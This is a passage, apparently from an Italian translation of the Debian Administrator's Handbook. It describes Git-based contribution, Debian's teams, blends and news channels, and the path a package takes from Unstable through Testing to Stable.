Git è un sistema distribuito dove ogni utente ha un repository con lo storico completo delle modifiche. I repository centrali vengono utilizzati per scaricare il progetto (git clone) e per condividere il lavoro svolto con gli altri (git push). Il repository può contenere più versioni dei file, ma si può lavorare solo una versione alla volta: si chiama copia di lavoro (può essere cambiata per puntare ad un'altra versione con git checkout). Git può mostrare le modifiche apportate alla copia di lavoro (git diff), può organizzare le modifiche per l'inclusione (git add) e può creare una nuova voce nella cronologia delle versioni (git commit). Può, inoltre, aggiornare la copia di lavoro per includere modifiche effettuate in parallelo da altri utenti (git pull) e può registrare una particolare configurazione nello storico per essere in grado di estrarla facilmente in seguito (git tag).

Git rende semplice gestire più versioni concorrenti di un progetto in sviluppo senza che queste interferiscano tra di loro. Queste versioni sono definite rami (branches). Questa metafora di un albero è piuttosto accurata, dal momento che un programma viene inizialmente sviluppato su un tronco (trunk) comune. Quando è stata raggiunta una pietra miliare (milestone) (come la versione 1.0), lo sviluppo continua su due rami: il ramo di sviluppo che prepara il prossimo rilascio principale e il ramo di manutenzione che gestisce gli aggiornamenti e correzioni per la versione 1.0.

Git è, al giorno d'oggi, il più popolare sistema di controllo delle versioni ma non è il solo. Storicamente, CVS (Concurrent Versions System) è stato il primo strumento ampiamente utilizzato, ma le sue numerose limitazioni hanno contribuito alla comparsa di alternative più moderne e libere. Queste includono, specialmente, Subversion (svn), Git (git), Bazaar (bzr), Fossil (fossil) e Mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

Fornire una spiegazione dettagliata su Git va oltre gli scopi di questo manuale. Per quello, si può fare riferimento al libro Pro Git.

→ https://git-scm.com/book/

Mentre l'output di git diff è un file che può essere condiviso con altri sviluppatori, di solito ci sono modi migliori per inviare le modifiche. Se gli sviluppatori preferiscono ottenere patch via e-mail, solitamente vogliono che tali patch vengano generate con git format-patch in modo che possano essere integrate direttamente nel repository con git am. Questo preserva le meta-informazioni dei commit e rende possibile la condivisione di più commit in una volta sola.

Questo flusso di lavoro basato sulle email è ancora popolare, ma la tendenza è quella di sostituirlo con merge requests (o pull requests) quando il software è ospitato su una piattaforma come GitHub o GitLab — e Debian sta usando GitLab sul suo server salsa.debian.org. Su questi sistemi, una volta creato un account, si può fare un fork del repository, creando effettivamente una copia del repository nel proprio account, quindi clonando quel repository ed inserendovi le proprie modifiche. Da lì, l'interfaccia web vi suggerirà di inviare una richiesta di fusione, notificando agli sviluppatori le vostre correzioni, facilitando la revisione e l'accettazione delle vostre modifiche con un solo clic.

1.3.2.4. Altri modi per contribuire

Tutti questi meccanismi sono resi più efficienti dal comportamento degli utenti. Lontani dall'essere un insieme di persone isolate, gli utenti compongono una vera comunità all'interno della quale si svolgono numerosi scambi. Notiamo in particolare un'attività importante sulla mailing list delle discussioni degli utenti, <debian-user@lists.debian.org> (Capitolo 7, Risoluzione dei problemi e reperimento delle principali informazioni descrive la cosa in dettaglio).

→ https://lists.debian.org/users.html

Non solo gli utenti aiutano sé stessi (e gli altri) su argomenti tecnici che li riguardano direttamente, ma discutono anche relativamente ai modi migliori per contribuire al progetto Debian e aiutarlo a progredire — discussioni che spesso portano a proposte di miglioramento.

STRUMENTO how-can-i-help

Il programma how-can-i-help elenca le opportunità per contribuire ai pacchetti Debian che sono installati localmente. Dopo ogni invocazione, APT (vedi Capitolo 6, Manutenzione ed aggiornamento: gli strumenti APT) mostra i modi per aiutare, evidenziando i bug etichettati come "newcomer" (che sono facili punti d'accesso per nuovi collaboratori) o i pacchetti orfani che hanno bisogno di un nuovo manutentore. Il programma può anche essere eseguito direttamente.

Dal momento che Debian non spende fondi per auto-promuoversi con campagne di marketing, i suoi utenti svolgono un ruolo essenziale nella sua diffusione, garantendo la sua fama attraverso il passaparola.

Questo metodo funziona piuttosto bene, dal momento che i fan di Debian si trovano a tutti i livelli della comunità del software libero: a partire dalle feste di installazione (workshop in cui gli utenti esperti assistono i nuovi arrivati nell'installazione del sistema) organizzate dai locali LUG o "Linux User Group" (gruppi di utenti Linux), fino agli stand di associazioni ai grandi convegni tecnologici che si occupano di Linux, ecc.

I volontari realizzano poster, opuscoli, adesivi ed altro materiale promozionale utili al progetto, che mettono a disposizione di tutti e che Debian fornisce, gratuitamente, sul proprio sito web e sul suo wiki:

→ https://www.debian.org/events/material

1.3.3. Team, Blend e sottoprogetti

Fin dall'inizio, Debian è stata organizzata intorno al concetto di pacchetti sorgenti, ognuno con il suo manutentore o gruppo di manutentori. Nel tempo si sono formati svariati team, che assicurano l'amministrazione delle infrastrutture, la gestione di compiti non specifici di un particolare pacchetto (garanzia della qualità, le Policy Debian, installatore, ecc.), mentre le ultime squadre si sviluppano intorno a sotto-progetti e blend.

1.3.3.1. Sottoprogetti e Blend Debian esistenti

A ciascuno la sua Debian! Un sottoprogetto è un gruppo di volontari interessati ad adattare Debian ad esigenze specifiche. Oltre alla selezione di un sottogruppo di programmi destinati ad un particolare ambito (istruzione, medicina, creazione di contenuti multimediali, ecc.), i sottoprogetti si occupano anche di migliorare i pacchetti software esistenti, creare quelli mancanti, adattare il programma di installazione, creare documentazione specifica ed altro ancora. Sebbene una "miscela" potrebbe non essere esattamente la stessa, funziona in modo abbastanza simile e cerca di fornire una soluzione pronta all'uso per gruppi di persone con esigenze specifiche. Si potrebbe dire che "Debian Pure Blends" è il successore dei sottoprogetti.

→ https://www.debian.org/blends/

VOCABOLARIO Sottoprogetti, blend e distribuzioni derivate

Il processo di sviluppo di una distribuzione derivata consiste nell'apportare un certo numero di modifiche ad una particolare versione di Debian. L'infrastruttura utilizzata per questo tipo di lavoro è completamente esterna al progetto Debian. Non è necessariamente rispettata una policy per contribuire ai miglioramenti. Questa differenza spiega come una distribuzione derivata può "divergere" dalle sue origini di Debian, e perché deve regolarmente essere risincronizzata con la propria fonte, al fine di trarre beneficio dai miglioramenti fatti a monte.

D'altra parte, un sottoprogetto o blend non può divergere, poiché tutto il lavoro consiste nel migliorare direttamente Debian per adattarla ad un obiettivo specifico.

La distribuzione più conosciuta derivata da Debian è, senza dubbio, Ubuntu, ma ce ne sono molte altre. Guardare Appendice A, Distribuzioni derivate per conoscerne le caratteristiche ed il loro posizionamento rispetto a Debian.

Questa è una piccola selezione delle Debian Pure Blend attualmente rilasciate:

Debian Junior, di Ben Armstrong, offre un sistema Debian attraente e facile da usare dedicato ai bambini;

Debian Edu, di Petter Reinholdtsen, focalizzata sulla creazione di una distribuzione specializzata per il mondo accademico ed educativo;

Debian Med, di Andreas Tille, dedicata al settore medico;

Debian Multimedia, che si occupa di lavori audio e multimediali;

Debian GIS, che si occupa di applicazioni ed utenti di Sistemi Informativi Geografici;

Debian Astro, per astronomi professionisti e hobbisti;

Debian Science, lavora per fornire a ricercatori e scienziati una migliore esperienza nell'utilizzo di Debian;

Freedombox, realizzato per sviluppare, progettare e promuovere server personali con software libero per comunicazioni private e personali;

Debian Games, fornisce giochi in Debian, da quelli arcade e di avventura a quelli di simulazione e strategia;

DebiChem, indirizzata alla chimica, fornisce suite e programmi per chimici.

Molto probabilmente il numero di progetti continuerà a crescere con il tempo e, mano a mano, la percezione dei vantaggi dei Debian Pure Blend aumenterà. Essendo completamente supportati dall'infrastruttura Debian esistente, possono concentrarsi sul lavoro, fornendo un reale valore aggiunto senza doversi preoccupare della sincronizzazione con Debian, in quanto sono sviluppati all'interno del progetto.

1.3.3.2. Team amministrativi

La maggior parte dei team amministrativi sono piuttosto chiusi e reclutano nuovi volontari solo per cooptazione. Il modo migliore per poter entrare a far parte di uno di questi team è quello di assistere in modo intelligente i componenti attuali, dimostrando di aver capito gli obiettivi ed i metodi operativi del team.

Gli ftpmasters hanno il compito di gestire l'archivio ufficiale dei pacchetti Debian. Essi gestiscono il programma che riceve e memorizza automaticamente i pacchetti trasmessi dagli sviluppatori, dopo alcuni controlli, sul server di riferimento (ftp-master.debian.org).

Essi devono anche verificare le licenze di tutti i nuovi pacchetti, per garantire che Debian possa distribuirli, prima della loro inclusione nell'elenco dei pacchetti esistenti. Quando uno sviluppatore vuole rimuovere un pacchetto, si rivolge a questo team attraverso il sistema di tracciamento dei bug e lo "pseudo-pacchetto" ftp.debian.org.

VOCABOLARIO Lo pseudo-pacchetto, uno strumento di controllo

Il BTS (Bug Tracking System, sistema tracciamento dei bug), inizialmente pensato per associare le segnalazioni di bug ad un pacchetto Debian, si è dimostrato molto pratico anche per gestire altre problematiche: liste di problemi da risolvere o compiti da gestire senza alcun legame con uno specifico pacchetto Debian. Gli "pseudo-pacchetti" permettono, quindi, a certi team di utilizzare il sistema di tracciamento dei bug senza associare un pacchetto vero e proprio al proprio team. Tutti possono, quindi, segnalare i problemi che devono essere affrontati. Ad esempio, il BTS ha una voce ftp.debian.org per fare segnalazioni sull'archivio dei pacchetti ufficiale oppure semplicemente per inoltrare la richiesta di rimozione di un pacchetto. Allo stesso modo, lo pseudo-pacchetto www.debian.org segnala errori sul sito ufficiale Debian, e lists.debian.org raccoglie tutti i problemi riguardanti le mailing list.

STRUMENTO GitLab, Git repository hosting e molto altro

Un'istanza di GitLab, nota come salsa.debian.org, viene utilizzata da Debian per ospitare i repository Git dei pacchetti; tuttavia questo software offre molto di più del semplice hosting e i collaboratori Debian sono stati rapidi nello sfruttare le funzionalità di integrazione continua (esecuzione di test, o persino creazione di pacchetti, ad ogni modifica). I collaboratori Debian beneficiano anche di un flusso di lavoro più pulito grazie al ben compreso processo di richiesta di fusione (simile alle richieste pull di GitHub).

GitLab ha sostituito FusionForge (che girava su un servizio noto come alioth.debian.org) per la manutenzione collaborativa dei pacchetti. Questo servizio è amministrato da Alexander Wirt, Bastian Blank e Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

Il team Debian System Administrators (DSA) (<debian-admin@lists.debian.org>), come ci si potrebbe aspettare, è responsabile dell'amministrazione dei server utilizzati dal progetto. Assicura il funzionamento ottimale di tutti i servizi di base (DNS, Web, e-mail, shell, ecc.), installa i software richiesti dagli sviluppatori Debian e prende tutte le precauzioni necessarie per garantire la sicurezza dei sistemi.

→ https://dsa.debian.org

STRUMENTO Tracciatore dei Pacchetti Debian

Questa è una delle creazioni di Raphaël. L'idea di base è di raccogliere in un'unica pagina il maggior numero di informazioni possibile su di un dato pacchetto. In questo modo, è possibile rapidamente verificare lo stato di un programma, identificare le attività da completare, e offrire la propria assistenza. Per questo motivo questa pagina raccoglie tutte le statistiche dei bug, le versioni disponibili per ogni distribuzione, l'evoluzione di un pacchetto nella distribuzione Testing, lo stato delle traduzioni delle descrizioni e dei modelli debconf, la disponibilità di una eventuale nuova versione a monte, le notifiche di non conformità con l'ultima versione delle Policy Debian, le informazioni sul manutentore, e qualsiasi altra informazione che il manutentore stesso desideri includere.

→ http://packages.qa.debian.org/

Un servizio di iscrizione e-mail completa questa interfaccia web. Invia automaticamente le seguenti informazioni alla lista selezionata: i bug con le relative discussioni, la disponibilità di una nuova versione sui server Debian, le nuove traduzioni pronte per la correzione di bozze, ecc.

Gli utenti avanzati, una volta che hanno capito come funziona, possono quindi seguire tutte queste informazioni da vicino e persino contribuire al progetto.

Un'altra interfaccia web, nota come Debian Developer's Packages Overview (DDPO) Panoramica dei pacchetti degli sviluppatori Debian), fornisce ad ogni sviluppatore una sintesi dello stato di tutti i pacchetti Debian dei quali è incaricato.

→ https://qa.debian.org/developer.php

Questi due siti sono strumenti sviluppati e gestiti da un gruppo (conosciuto come QA) responsabile del controllo qualità all'interno di Debian.

I listmaster amministrano il server di posta che gestisce le mailing list. Essi creano nuove liste, gestiscono i messaggi rimbalzati (segnalazioni di mancata consegna) e mantengono i filtri antispam (e-mail indesiderate).

CULTURA Il traffico sulle mailing list: alcune cifre

Le mailing list sono, senza ombra di dubbio, la miglior testimonianza della vitalità di un progetto, dal momento che tengono traccia di tutto ciò che accade. I numeri (ad aprile 2021) per quanto riguarda le nostre mailing list parlano da soli: Debian ospita circa 325 liste, per un totale di oltre 295.000 utenti registrati. Ogni giorno vengono recapitate 396.000 e-mail.

Ogni singolo servizio ha un proprio team di amministrazione, generalmente composto dai volontari che lo hanno installato (e che spesso hanno anche programmato gli stessi strumenti corrispondenti). Questo è il caso del sistema di tracciamento dei bug (BTS), del sistema di tracciamento dei pacchetti, salsa.debian.org (server GitLab, vedi riquadro STRUMENTO GitLab, Git repository hosting e molto altro), i servizi disponibili su qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, ecc.

1.3.3.3. Team di sviluppo, Team trasversali

A differenza dei team amministrativi, quelli di sviluppo sono decisamente più aperti, anche a collaboratori esterni. Anche se Debian non ha una vocazione per creare software, il progetto ha bisogno di alcuni programmi specifici per raggiungere i suoi obiettivi. Naturalmente sviluppati sotto una licenza per software libero, questi strumenti fanno uso di metodi provati in altri settori del mondo del software libero.

Debian ha sviluppato da sé poco software, ma certi programmi hanno assunto un ruolo importante, e la loro fama si è diffusa ben oltre i confini del progetto. Buoni esempi sono dpkg, il programma Debian per la gestione dei pacchetti (è, infatti, l'abbreviazione di Debian PacKaGe, e generalmente si pronuncia "dee-package"), e apt, uno strumento per installare automaticamente qualsiasi pacchetto Debian e i pacchetti dai quali dipende, garantendo la consistenza del sistema dopo un aggiornamento (il suo nome è l'acronimo di Advanced Package Tool, Strumento avanzato di gestione dei pacchetti). I loro team sono, tuttavia, molto più piccoli, poiché per la comprensione complessiva delle operazioni svolte da questo tipo di programmi è necessaria una capacità di programmazione di livello piuttosto elevato.

Il team più importante è probabilmente quello del programma di installazione di Debian, debian-installer, che dal suo concepimento nel 2001 ha compiuto un lavoro gigantesco. Sono stati necessari numerosi collaboratori, poiché è veramente difficile scrivere un programma unico in grado di installare Debian su una dozzina di architetture differenti. Ognuna con un proprio meccanismo per l'avvio e un proprio bootloader. Tutto questo lavoro è coordinato dalla mailing list <debian-boot@lists.debian.org>, sotto la direzione di Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

Il team (molto piccolo) del programma debian-cd deve perseguire un obiettivo ancora più modesto. Molti "piccoli" collaboratori sono ognuno responsabile della propria architettura, dal momento che lo sviluppatore principale non può conoscere tutte le particolarità, né il modo esatto per avviare il programma di installazione dal CD-ROM.

Molti team devono collaborare con gli altri in attività di impacchettamento: <debian-qa@lists.debian.org> cerca, ad esempio, di assicurare la qualità del progetto Debian a tutti i livelli. La mailing list <debian-policy@lists.debian.org> sviluppa le Policy Debian secondo tutte le proposte ricevute. I team incaricati di ogni architettura (<debian-architettura@lists.debian.org>) compilano tutti i pacchetti, adattandoli se richiesto, alle particolarità di ogni architettura.

Altri team gestiscono i pacchetti più importanti al fine di garantirne la manutenzione in modo da non assegnare un carico troppo pesante su un solo paio di spalle; questo è il caso della libreria C <debian-glibc@lists.debian.org>, del compilatore C sulla mailing list <debian-gcc@lists.debian.org> oppure di Xorg sulla <debian-x@lists.debian.org> (questo gruppo è anche conosciuto come X Strike Force).

1.4. Segui Debian

Come già accennato, il progetto Debian si evolve in modo molto distribuito, molto organico. Di conseguenza, può essere difficile a volte per rimanere in contatto con ciò che accade all'interno del progetto senza essere sopraffatti da una valanga infinita di notifiche.

Se si desidera ricevere solo le notizie più importanti su Debian, probabilmente ci si dovrebbe iscrivere alla mailing list <debian-announce@lists.debian.org>. Questa una lista con un traffico molto basso (circa una dozzina di messaggi all'anno), e riporta solo gli annunci più importanti, come ad esempio la disponibilità di una nuova versione stabile, l'elezione di un nuovo Capo Progetto, o la Conferenza annuale di Debian.

→ https://lists.debian.org/debian-announce/

Le notizie più generali (e regolari) su Debian sono inviate alla lista <debian-news@lists.debian.org>. Il traffico di questa lista è anche abbastanza ragionevole (di solito una manciata di messaggi al mese) e comprende le "Debian Project News" (Notizie sul Progetto Debian), che sono una raccolta di vari piccoli pezzi di informazioni su ciò che accade nel progetto.

→ https://lists.debian.org/debian-news/

COMUNITÀ Il team della pubblicità

I canali ufficiali di comunicazione di Debian sono gestiti da volontari del team di pubblicità Debian. Essi sono delegati del Capo Progetto Debian e gestiscono notizie ed annunci pubblicati. Molti altri volontari contribuiscono al team, per esempio, scrivendo contenuti per “Notizie sul Progetto Debian”, blog ufficiale Debian (bits.debian.org) o per il servizio di microblogging (micronews.debian.org), che fornisce contenuti ai siti di social networking.

→ https://wiki.debian.org/Teams/Publicity

Per ulteriori informazioni sull'evoluzione di Debian e su ciò che sta accadendo in un determinato momento all'interno di vari team, c'è anche la lista <debian-devel-announce@lists.debian.org>. Come suggerisce il nome stesso, gli annunci di questa lista saranno probabilmente più interessanti per gli sviluppatori, ma permettono alle parti interessate anche di monitorare ciò che accade in termini più concreti di quanto avvenga solo quando viene rilasciata una versione stabile. Mentre <debian-announce@lists.debian.org> fornisce notizie sui risultati visibili all'utente, <debian-devel-announce@lists.debian.org> dà notizie su come questi risultati sono stati raggiunti. Come nota a margine, “d-d-a" (come viene talvolta chiamata) è l'unica lista alla quale gli sviluppatori Debian devono iscriversi.

→ https://lists.debian.org/debian-devel-announce/

Il blog ufficiale di Debian (bits.debian.org) è anche una buona fonte di informazioni. Trasmette la maggior parte delle notizie interessanti che sono pubblicate sulle varie mailing list di cui abbiamo già parlato e altre notizie importanti fornite dai membri della comunità. Dal momento che tutti gli sviluppatori Debian possono contribuire a queste notizie quando pensano di avere qualcosa di degno di nota da rendere pubblico, il blog di Debian fornisce una visione preziosa pur rimanendo piuttosto concentrato sul progetto nel suo complesso.

Una fonte più informale di informazioni si può trovare anche su Pianeta Debian, che raccoglie gli articoli pubblicati da contributori Debian sui rispettivi blog. Anche se i contenuti non riguardano esclusivamente lo sviluppo di Debian, forniscono comunque una visione di ciò che sta accadendo nella comunità e di ciò che i suoi membri stanno facendo in quel momento.

→ https://planet.debian.org/

Il progetto è ben rappresentato sui social network. Debian ha solo una presenza ufficiale su Identi.ca (piattaforma di microblogging fornita da pump.io), ma ci sono alcuni account che ritrasmettono il feed RSS da micronews.debian.org e molti collaboratori Debian che pubblicano su account non ufficiali.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. Il ruolo delle distribuzioni

Una distribuzione GNU/Linux ha due principali obiettivi: installare un sistema operativo libero su un computer (con o senza un sistema già esistente), e fornire una serie di pacchetti software che coprano tutte le esigenze dell'utilizzatore.

1.5.1. L'installatore: debian-installer

Il debian-installer, progettato per essere estremamente modulare in modo da essere il più generico possibile, risponde al primo requisito. Esso prende in considerazione una vasta gamma di situazioni di installazione ed in generale, facilita notevolmente la creazione di un installatore derivato dedicato ad un caso particolare.

Questa modularità, che lo rende anche molto complesso, potrebbe infastidire gli sviluppatori alla scoperta di questo strumento; ma che sia usato in modalità grafica o di testo, l'esperienza utente è comunque molto simile. Sono stati fatti grandi sforzi per ridurre il numero di campi da riempire, il che spiega l'inclusione del software di rilevamento automatico dell'hardware.

È interessante notare che le distribuzioni derivate da Debian differiscono notevolmente in questo aspetto, e forniscono installatori molto più limitati (spesso limitati all'architettura i386 o amd64), ma molto più semplici da usare per i neofiti. D'altra parte, di solito si evita di apportare troppe modifiche ai pacchetti standard di Debian, per beneficiare il più possibile dalla vasta gamma di software offerto senza causare problemi di compatibilità.

1.5.2. La raccolta software

Quantitativamente, Debian in questo senso è innegabilmente il leader, con oltre 31.000 pacchetti sorgenti. Qualitativamente, le policy di Debian ed il lungo periodo di test prima del rilascio di una nuova versione stabile, giustificano la sua reputazione di coerenza e stabilità. Per quanto riguarda la disponibilità, tutto è accessibile on-line attraverso numerosi mirror aggiornati ogni sei ore.

La maggior parte dei programmi di software libero viene inserita nella versione di sviluppo, il che permette loro di essere installati. Se questo non richiede troppi aggiornamenti dovuti alle loro dipendenze, i programmi stessi possono anche essere ricompilati per la versione stabile di Debian (vedere Capitolo 15, Creazione di un pacchetto Debian per maggiori informazioni su questo argomento).

1.6. Ciclo di vita di un rilascio

Il progetto manterrà contemporaneamente da tre o sei differenti versioni dello stesso programma, definite Experimental(Sperimentale), Unstable(Instabile), Testing(in test) e Stable(Stabile), Oldstable,ed anche Oldoldstable. Ognuna corrisponde ad una differente fase dello sviluppo. Per capire meglio, diamo un'occhiata al percorso di un programma, dal primo impacchettamento, all'inclusione in una versione stabile di Debian.

VOCABOLARIO Rilascio (Release)

Nel progetto Debian il termine "rilascio" (release) indica una particolare versione della distribuzione (es. "rilascio unstable" significa "la versione non stabile"). Esso indica anche l'annuncio pubblico del lancio di ogni nuova versione (stabile).

1.6.1. Lo stato Experimental (sperimentale)

Prima di tutto diamo un'occhiata al particolare caso della distribuzione Experimental: consiste in un gruppo di pacchetti Debian relativi a software in corso di sviluppo, e come dice il nome non necessariamente completato. Non tutto passa attraverso questa fase, alcuni sviluppatori scelgono di aggiungere i pacchetti in questa versione per ottenere un feedback dagli utenti più esperti (o coraggiosi).

In alternativa, questa distribuzione ospita spesso importanti modifiche ai pacchetti base, la cui integrazione con gravi bug nella versione Unstable avrebbe ripercussioni critiche. Si tratta, dunque, di una distribuzione completamente isolata, i suoi pacchetti non migreranno mai verso un'altra versione (se non per l'intervento esplicito del manutentore o degli ftpmaster). Inoltre non è autosufficiente: solo un sottoinsieme dei pacchetti esistenti sono presenti nella versione Experimental, e generalmente non include il sistema di base. Questa distribuzione è quindi particolarmente utile in combinazione con un'altra distribuzione, indipendente, come Unstable.

1.6.2. Lo stato Unstable (instabile)

Torniamo al caso di un pacchetto normale. Il manutentore crea un pacchetto iniziale, che compila per la versione Unstable e lo carica sul server ftp-master.debian.org. La prima operazione consiste in un esame e nella convalida da parte degli ftpmaster. Il software risulta disponibile nella distribuzione Unstable che è rischiosa, ma è la "punta di diamante" delle distribuzioni scelte dagli utenti che sono più preoccupati di avere pacchetti aggiornati che preoccupati per i gravi bug. Scoprono il programma e poi lo testano.

Se incontrano bug, li segnalano al manutentore del pacchetto. Il manutentore prepara regolarmente versioni corrette, che rende disponibili sul server.

Ogni nuovo pacchetto aggiornato è aggiornato su tutti i mirror di Debian sparsi per il mondo in meno di sei ore. Gli utenti provano le correzioni e cercano altri problemi che potrebbero essere stati causati dalle modifiche. Potrebbero susseguirsi rapidamente molti aggiornamenti. Durante questo periodo entrano in azione i robot autobuilder. Il manutentore carica i sorgenti del pacchetto (senza alcun pacchetto precompilato); gli autobuilder provvedono automaticamente a compilare le versioni per tutte le architetture supportate. Alcune compilazioni potrebbero non andare a buon fine; il manutentore riceverà una segnalazione di bug nella quale vengono riportati gli errori riscontrati, che dovrà essere corretto nelle versioni successive. Quando il bug viene scoperto da uno specialista dell'architettura in questione, la segnalazione può essere accompagnata da una patch pronta all'uso.

Figura 1.2. Compilazione di un pacchetto con autobuilder

SGUARDO VELOCE buildd, il ricompilatore dei pacchetti Debian

buildd è l'abbreviazione di "build daemon" (demone di compilazione). Questo programma ricompila automaticamente nuove versioni dei pacchetti Debian sulle architetture che lo ospitano (è evitata il più possibile la compilazione-incrociata).

Così, per produrre i file binari per l'architettura arm64, il progetto dispone di macchine arm64. Il programma buildd viene eseguito su di esse continuamente per creare pacchetti binari per arm64 dai pacchetti sorgente inviati dagli sviluppatori di Debian.

Questo software viene utilizzato su tutti i computer che servono come autobuilder per Debian. Per estensione, il termine buildd viene usato frequentemente per riferirsi a queste macchine, che sono generalmente riservate esclusivamente per questo scopo.

1.6.3. Migrazione alla Testing (in prova)

Successivamente, il pacchetto sarà maturato; compilato in tutte le architetture, non avrà subito modifiche recenti. Diventa quindi candidato per l'inclusione nella distribuzione Testing: un gruppo di pacchetti della versione Unstable scelti in base ad alcuni criteri quantificabili. Automaticamente ogni giorno un programma seleziona i pacchetti da includere nella Testing, secondo elementi che garantiscono un certo livello di qualità:

compilazione riuscita su tutte le architetture ufficialmente supportate;

mancanza di bug critici, o almeno inferiori rispetto a quelli presenti nella versione attualmente inclusa in Testing;

trascorsi almeno 5 giorni in Unstable, che di solito è un tempo sufficiente per trovare e segnalare eventuali problemi gravi (superare con successo il gruppo di test del pacchetto, se previsti, riduce i tempi);

le dipendenze possono essere soddisfatte in Testing o possono almeno esservi trasferite insieme al pacchetto in questione;

i test di qualità automatici del pacchetto (autopkgtest) — se definiti — non mostrano alcuna regressione.

Il sistema non è chiaramente infallibile; saltano fuori regolarmente bug critici nei pacchetti inclusi in Testing. Tuttavia, è generalmente efficace e Testing pone molti meno problemi rispetto a Unstable, risultando per molti utenti, un buon compromesso tra novità e stabilità.

NOTA Limitazioni di Testing

Molto interessante in linea di principio, Testing pone alcuni problemi pratici: il groviglio di dipendenze incrociate tra pacchetti è tale che un pacchetto potrà raramente essere trasferito completamente da solo. A causa di tutti i pacchetti dipendenti a vicenda, alcune volte è necessario spostarne un numero elevato contemporaneamente, cosa impossibile da fare quando vengono caricati regolarmente degli aggiornamenti. D'altra parte, lo script che identifica le famiglie dei pacchetti correlati lavora pesantemente per la loro creazione (questo sarebbe un problema NP-completo, per il quale, fortunatamente, conosciamo alcune buone tecniche euristiche). Per questo motivo possiamo interagire con questo script e guidarlo suggerendogli gruppi di pacchetti, o imponendo l'inclusione di alcuni pacchetti in un gruppo, anche se questo dovesse rompere momentaneamente alcune dipendenze. Questa funzionalità è accessibile ai Release Manager ed ai loro assistenti.

Ricordiamo che un problema NP-completo è di una complessità algoritmica esponenziale secondo la dimensione dei dati, nel nostro caso sono la lunghezza del codice (il numero di cifre) e gli elementi coinvolti. L'unico modo per risolverlo sarebbe di esaminare tutte le possibili configurazioni, cosa che richiederebbe dei mezzi enormi. Una soluzione euristica è più approssimativa, ma abbastanza soddisfacente.

COMUNITÀ Il Release Manager

Release Manager è un titolo importante, associato a pesanti responsabilità. Il titolare di questo incarico deve, in effetti, gestire il rilascio di una nuova versione stabile di Debian, e definire il processo per lo sviluppo della Testing fino a che non soddisfa i criteri di qualità per essere Stable. Definisce inoltre un calendario provvisorio (non sempre rispettato).

Abbiamo anche gli Stable Release Manager, spesso abbreviato con SRM, che gestiscono e selezionano gli aggiornamenti per l'attuale versione stabile di Debian. Includono sistematicamente le patch di sicurezza ed esaminano tutte le altre proposte di inclusione, inviate dagli sviluppatori di Debian desiderosi di aggiornare il loro pacchetto nella versione stabile, caso per caso.

1.6.4. La promozione da Testing a Stable

Supponiamo che il nostro pacchetto sia ora incluso in Testing. Fino a quando ha margini di miglioramento, il manutentore deve continuare a migliorarlo e riavviare il processo dalla Unstable (ma la sua successiva inclusione nella Testing è generalmente più veloce: se non è stato cambiato in modo significativo, tutte le sue dipendenze sono già disponibili). Quando raggiunge la perfezione, il manutentore ha completato il proprio lavoro. La fase successiva è l'inclusione nella distribuzione Stable, che è in realtà una semplice copia della Testing al momento deciso dal Release Manager. Idealmente, questa decisione viene presa quando il programma di installazione è pronto e quando nessun programma in Testing contiene alcun bug critico conosciuto.

Dato che un momento simile non si verifica mai in realtà, in pratica Debian deve fare un compromesso: saranno rimossi i pacchetti il cui manutentore non è riuscito a correggere in tempo i bug, o si accetta di rilasciare una distribuzione con alcuni bug nelle migliaia di programmi. Il Release Manager avrà già annunciato in precedenza un periodo di freeze (congelamento), durante il quale ogni aggiornamento di Testing deve essere approvato. L'obiettivo è quello di evitare qualsiasi nuova versione (con i suoi nuovi bug), e di approvare solo aggiornamenti che correggono i bug.

Figura 1.3. Il percorso di un pacchetto attraverso le varie versioni di Debian

VOCABOLARIO Freeze: dirittura d'arrivo

Durante il periodo di freeze, lo sviluppo della distribuzione Testing è bloccato; non sono più consentiti aggiornamenti automatici. I soli Release Manager sono autorizzati a modificare pacchetti, secondo i propri criteri. Il proposito è quello di prevenire la comparsa di nuovi bug introducendo nuove versioni; sono autorizzati solo aggiornamenti accuratamente esaminati quando correggono bug significativi.

Dopo il rilascio di una nuova versione stabile, lo Stable Release Manager ne gestisce gli ulteriori sviluppi (chiamate "revisioni", es: 10.1, 10.2, 10.3 per la versione 10). Questi aggiornamenti includono sistematicamente tutte le patch di sicurezza. Potranno anche includere correzioni più importanti (per poter includere aggiornamenti di un pacchetto, il manutentore deve dimostrare la gravità del problema che intende correggere).

Alla fine del percorso, il nostro ipotetico pacchetto viene incluso nella distribuzione Stable. Questo percorso, non senza difficoltà, spiega il notevole tempo che separa due rilasci di Debian Stable. Ciò contribuisce, nel complesso, alla sua reputazione di qualità. Inoltre, la maggior parte degli utenti si accontenta di utilizzare una delle tre distribuzioni disponibili contemporaneamente. Gli amministratori di sistema, preoccupati soprattutto per la stabilità dei loro server, non hanno la necessità di disporre dell'ultimissima e suprema versione di GNOME; possono scegliere Debian Stable e saranno soddisfatti. Gli utenti finali, più interessati alle ultime versioni di GNOME o KDE Plasma piuttosto che ad un sistema stabile e solido come una roccia, sceglieranno Debian Testing per avere un buon compromesso tra la mancanza di gravi problemi e un software abbastanza aggiornato. Infine, gli sviluppatori e gli utenti più esperti possono tracciare il sentiero, testando tutti gli ultimi sviluppi in Debian Unstable con il rischio di soffrire qualche mal di testa per i bug che saltano fuori ad ogni nuova versione di un programma. Ad ognuno la sua Debian!

CULTURA GNOME e KDE Plasma, ambienti grafici per il desktop

GNOME (originariamente acronimo di GNU Network Object Model Environment) e Plasma di KDE (precedentemente noto come K Desktop Environment) sono i due ambienti desktop grafici più popolari/affermati nel mondo del software libero e saranno presentati nel dettaglio in Sezione 13.3, «Desktop grafici».

